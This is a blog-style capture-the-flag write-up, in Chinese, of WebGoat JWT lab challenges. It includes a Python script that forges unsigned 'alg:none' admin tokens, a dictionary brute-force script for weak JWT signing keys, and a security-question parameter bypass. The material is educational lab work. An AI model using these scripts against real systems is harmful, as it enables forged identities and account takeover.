渗透学习-靶场篇-WebGoat靶场(JWT攻击)

这篇具有很好参考价值的文章主要介绍了渗透学习-靶场篇-WebGoat靶场(JWT攻击)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。


前言

本次主要学习了javaweb项目方面任意出现的一些安全问题,最主要的是有关于JWT身份认证上的攻击,并利用webgoat靶场进行了一些实验。


一、介绍JWT

JWT的全称是Json Web Token。它遵循JSON格式,将用户信息加密到token里,服务器不保存任何用户信息,只保存密钥信息,通过使用特定加密算法验证token,通过token验证用户身份。基于token的身份验证可以替代传统的cookie+session身份验证方法。

jwt由三个部分组成:header.payload.signature

JWT令牌结构

令牌采用 base64-url 编码,由三部分组成。header.payload.signature 每一部分由.进行链接而成,如下所示:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

根据算法,签名将被添加到令牌中。这样,您可以验证某人没有修改令牌(对令牌的一次更改将使签名无效)。

具体的表单生成信息如下:

  • HEADER:固定包含算法和token类型,对此json进行base64url加密,这就是token的第一段。
{  "alg":"HS256",  "typ":"JWT"}
  • PAYLOAD:包含一些数据,对此json进行base64url加密,这就是token的第二段。
{  	
	"exp": 1416471934,  "user_name": "user",  
	"scope": [    "read",    "write"  ],  
	"authorities": [    "ROLE_ADMIN",    "ROLE_USER"  ],  
	"jti": "9bc92a44-0b1a-4c5e-be70-da52075b9a84",  
	"client_id": "my-client-with-secret"
}
  • SIGNATURE:把前两段的base密文通过.拼接起来,然后对其进行HS256加密,再然后对hs256密文进行base64url加密,最终得到token的第三段。
加密密钥: secret
具体操作形式:
base64url(
      HMACSHA256(
             base64UrlEncode(header) + "." + base64UrlEncode(payload),
             your-256-bit-secret (秘钥加盐)
      )
)

获取的令牌的基本过程

渗透学习-靶场篇-WebGoat靶场(JWT攻击)

  1. 用户使用用户名和密码,并经过服务器验证成功后登录;
  2. 服务器创建一个新令牌
  3. 并将此令牌返回给客户端;
  4. 此后用户浏览器要携带token,去向服务端发送请求;
  5. 服务器读取令牌,并在成功验证后首先验证签名;
  6. 合法则返回对应的信息给用户。

用户登录成功后,服务端通过jwt生成一个随机token给用户(服务端无需保留token),以后用户再来访问时需携带token,服务端接收到token之后,通过jwt对token进行校验是否超时、是否合法。

相对地,如果采用cookie的方式,则服务器端/客户端是会保存一份对应的token值以供进行合法校验。

更多具体的内容请参考:https://jwt.io/

二、攻击方式以及靶场的搭建

1.安装cWebGoat

配置环境: Windows 10 + Java11 + webgoat-server-8.1.0.jar

注: 此处最好是使用java11及以上的环境,以避免出现java版本过低而无法运行的错误!!!

将下载好的jar包放在自己指定的目录下,然后打开cmd输入以下命令:

java -jar webgoat-server-8.1.0.jar --server.port=8000 --server.address=0.0.0.0

我这里是开启了指定的端口和开启远程访问,如果想直接使用默认设置(端口8080,只能本地访问)可以直接:

java -jar webgoat-server-8.1.0.jar

然后,在浏览器端输入:

http://127.0.0.1:8000/WebGoat/

即可,访问:
渗透学习-靶场篇-WebGoat靶场(JWT攻击)

注,第一次使用的需要自己注册一个用户!!!

2.空加密验证攻击

JWT支持使用空加密算法,可以在header中指定alg为None

空加密算法的设计初衷是用于调试的,但是如果某天开发人员脑阔瓦特了,在生产环境中开启了空加密算法,缺少签名算法,jwt保证信息不被篡改的功能就失效了。攻击者只需要把alg字段设置为None,就可以在payload中构造身份信息,伪造用户身份。

这样的话,只要把signature设置为空(即不添加signature字段),提交到服务器,任何token都可以通过服务器的验证。举个例子,使用以下的字段:

打开对应的第四部分:
渗透学习-靶场篇-WebGoat靶场(JWT攻击)

然后,我们点击对应的vote now,就会出现如下的弹窗,提示我们没有权限进行投票:
渗透学习-靶场篇-WebGoat靶场(JWT攻击)

那么,我们这里先利用burp进行抓包看一下,发送了哪一些的数据:
我们点击切换tom用户登录:
渗透学习-靶场篇-WebGoat靶场(JWT攻击)
进行抓包可以看到对应的token值:

渗透学习-靶场篇-WebGoat靶场(JWT攻击)

然后,我们将该值拿去解析一下看看:解析网站

渗透学习-靶场篇-WebGoat靶场(JWT攻击)

确实可以看出,这里采用了hs512算法进行加密验证,然后用户名是Tom。 那么,接下来我们尝试一下利用空加密进行绕过!!!

具体的exp代码如下:

# -*- coding:utf-8 -*-

import jwt
import base64


def b64urlencode(data):
    return base64.b64encode(data).replace(b'+', b'-').replace(b'/', b'_').replace(b'=', b'')

print(b64urlencode(b'{"alg":"none"}')+b'.'+b64urlencode(b'{"iat":1573470025,"admin":"true","user":"Jerry"}')+b'.')

最后解密结果如下:

eyJhbGciOiJub25lIn0.eyJpYXQiOjE1NzM0NzAwMjUsImFkbWluIjoidHJ1ZSIsInVzZXIiOiJKZXJyeSJ9.

渗透学习-靶场篇-WebGoat靶场(JWT攻击)
然后,解析一下看看是否符合我们预期的要求:

渗透学习-靶场篇-WebGoat靶场(JWT攻击)

看到这里,我们将admin对应的值更改为了true , 也就是说此时,我们设置了Jerry这个用户为admin。 然后由于还设置了alg为空密码,因此,可以绕过签名密钥未知的情况!!! 那么,我们把之前抓到的包放出去看看:

渗透学习-靶场篇-WebGoat靶场(JWT攻击)

渗透学习-靶场篇-WebGoat靶场(JWT攻击)
此时,再点击投票:
渗透学习-靶场篇-WebGoat靶场(JWT攻击)

发现投票成功!!! 本关成功绕过!

3.字典爆破

对 JWT 的密钥爆破需要在一定的前提下进行:

  • 知悉JWT使用的加密算法
  • 一段有效的、已签名的token
  • 签名用的密钥不复杂(弱密钥)

渗透学习-靶场篇-WebGoat靶场(JWT攻击)
先看一下这里的内容:

渗透学习-靶场篇-WebGoat靶场(JWT攻击)

根据题目要求,这里我们需要爆破出密钥,然后再将用户名改为WebGoat。
那么我们先使用以下exp进行爆破密码:

import jwt
import termcolor
if __name__ == "__main__":
    jwt_str = R'eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImlhdCI6MTY3MDc2NTAzOCwiZXhwIjoxNjcwNzY1MDk4LCJzdWIiOiJ0b21Ad2ViZ29hdC5vcmciLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQub3JnIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.aIR7sjd5o7XJgUkYPCw76e9iF838G-Hh9J-sN1M-J94'
    with open('top1000.txt') as f:
        for line in f:
            key_ = line.strip()
            try:
                jwt.decode(jwt_str, verify=True, key=key_)
                print('\r', '\bbingo! found key -->', termcolor.colored(key_, 'green'), '<--')
                break
            except (jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError):
                print('\r', '\bbingo! found key -->', termcolor.colored(key_, 'green'), '<--')
                break
            except jwt.exceptions.InvalidSignatureError:
                print('\r', ' ' * 64, '\r\btry', key_, end='', flush=True)
                continue
        else:
            print('\r', '\bsorry! no key be found.')

渗透学习-靶场篇-WebGoat靶场(JWT攻击)

然后,这里我们需要在那个网站中进行修改以下内容:
渗透学习-靶场篇-WebGoat靶场(JWT攻击)

注! 但是这里还有个小问题需要注意一下!!! 就是本关还使用了时间戳进行验证。
渗透学习-靶场篇-WebGoat靶场(JWT攻击)
这里的exp就是指时间戳的截至时间,因此,这里我们也需要进行更改一下:
时间戳

比如,当前我的时间是2022-12-11 21:30:00 , 那么为了稳妥起见,我这里将过期时间设置为2022-12-11 21:35:00
渗透学习-靶场篇-WebGoat靶场(JWT攻击)

然后,填入exp:
渗透学习-靶场篇-WebGoat靶场(JWT攻击)

此时,就可以通过本关卡了!
渗透学习-靶场篇-WebGoat靶场(JWT攻击)

三、认证-键值逻辑

渗透学习-靶场篇-WebGoat靶场(JWT攻击)
这里,主要是李克用了键值逻辑进行绕过验证!!!

在本关中,我们需要回答一些安全密钥的问题,然后后端通过我们回答的密钥是否符合数据库里存储的答案来进行验证,若验证成功则可以进行重置密码等待操作。 那么接下来我们先看一下源码:

渗透学习-靶场篇-WebGoat靶场(JWT攻击)

这里可以看出来,一共有两个问题并且有相应的答案。 那么试想一下,如果我们查询secQuestion2, 则由于数据库里无secQuestion2的字段,那么当我们查询的时候则对应的secQuestion2的值就为none,或者其他的什么!!! 因此,我们可以尝试一下设置:
渗透学习-靶场篇-WebGoat靶场(JWT攻击)进行修改:
渗透学习-靶场篇-WebGoat靶场(JWT攻击)
至此,修改成功!!!

渗透学习-靶场篇-WebGoat靶场(JWT攻击)文章来源地址https://www.toymoban.com/news/detail-420638.html


到了这里,关于渗透学习-靶场篇-WebGoat靶场(JWT攻击)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Web安全:WebGoat || VulApps 靶场搭建( 靶场漏洞测试和练习)

    WebGoat是OWASP组织研制出的用于进行web漏洞实验的应用平台,用来说明web应用中存在的安全漏洞。WebGoat运行在带有 java 虚拟机的平台之上,包括:跨站点脚本攻击(XSS)、访问控制、线程安全、操作隐藏字段、操纵参数、弱会话cookie、SQL盲注、数字型SQL注入、字符串型SQL注入、

    2024年02月12日
    浏览(54)
  • Web安全:WebGoat 靶场搭建(WEB漏洞测试和练习)

    WebGoat是OWASP组织研制出的用于进行web漏洞实验的应用平台,用来说明web应用中存在的安全漏洞。WebGoat运行在带有 java 虚拟机的平台之上,包括:跨站点脚本攻击(XSS)、访问控制、线程安全、操作隐藏字段、操纵参数、弱会话cookie、SQL盲注、数字型SQL注入、字符串型SQL注入、

    2024年02月12日
    浏览(44)
  • 内网渗透思路学习——靶场实战——暗月项目七

    #免责声明: 本文属于个人笔记,仅用于学习,禁止使用于任何违法行为,任何违法行为与本人无关。 靶场地址: https://pan.baidu.com/s/12pSYxSU-ZmurQ9–GFiaXQ 提取码: 3p47 项目七靶场渗透最终目的:获得域控中的flag.txt文件中的内容 项目七靶场环境是用 VMware Workstation 搭建,把环境

    2023年04月10日
    浏览(43)
  • [渗透测试学习靶机07] vulnhub靶场 Prime 2

    Kali的IP地址:192.168.127.139 靶机的IP地址:192.168.127.145 目录 一、信息搜集 二、漏洞挖掘 三、漏洞利用 四、提权 总结: Prime 2这个靶机我看网上很少有人通关打靶练习,自己尝试做了一下,感觉整体难度:比较难,大家可以参考一下。 1.1、扫描主机IP 1.2、扫描端口 发现开放了

    2024年02月05日
    浏览(48)
  • Vulnhub靶机渗透之新手入门 JIS-CTF入门靶场-学习笔记

    目录 学习前言 准备工作 一、寻找目标主机(信息收集) 二、敏感文件 三、Getshell上传木马 用蚁剑进行Getshell 四、寻找Linux密码进行ssh连接 五、连接SSH最后一步 六、总结 vulnhub是个提供各种漏洞平台的综合靶场,可供下载多种虚拟机进行下载,本地VM打开即可,像做游戏一样去

    2024年02月14日
    浏览(41)
  • JWT渗透与攻防(一)

    目录 前言 JWT漏洞介绍 案列演示之Leaky_JWT  JWT漏洞具体的实现方式:

    2023年04月09日
    浏览(31)
  • Web渗透漏洞靶场收集

    “如果你想搞懂一个漏洞,比较好的方法是:你可以自己先用代码编写出这个漏洞,然后再利用它,最后再修复它”。—-摘自pikachu漏洞靶场的一句话。 初学的时候玩靶场会很有意思,可以练习各种思路和技巧,用来检测扫描器的效果也是很好的选择。今天,我们来数数那些

    2024年02月07日
    浏览(39)
  • 渗透测试练习靶场汇总

    1、vulstudy https://github.com/c0ny1/vulstudy 2、vulfocus Vulfocus 官网: Document 在线演示: http://vulfocus.fofa.so/ 3、vulnrange https://github.com/wgpsec/VulnRange 1、vulnhub https://www.vulnhub.com 2、vulhub Vulhub - Docker-Compose file for vulnerability environment 3、vulnrange https://github.com/wgpsec/VulnRange 4、vulapps VulApps 18、

    2024年02月02日
    浏览(31)
  • Noob 靶场渗透记录

    一、ip arp-scan扫靶场ip 1、攻击机:Kali ip:192.168.142.128 ​ 靶机:? ip:192.168.56.136 二、日常扫端口 发现开放端口为21 ftp / 80 tcp / 55077 ssh 老规矩,先进入网页一看 是一个登录页,但是现在还没有用户名和密码,去ftp看看 里面两个文件,先下载下来看看。第一个文件里是一串加

    2024年02月08日
    浏览(35)
  • 【靶场设计和渗透】

    目录 一、前言 二、靶场设计 1、局域网  2、说明 三、渗透测试 1、信息收集 2、漏洞利用 四、后渗透利用 1、提权 2、权限维持 为了深入贯彻学习网络安全法律法规,深入学习渗透测试知识,强化实战技能............  编不出来了,反正今天的主题就是设计一个靶场然后渗透一

    2024年01月25日
    浏览(37)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包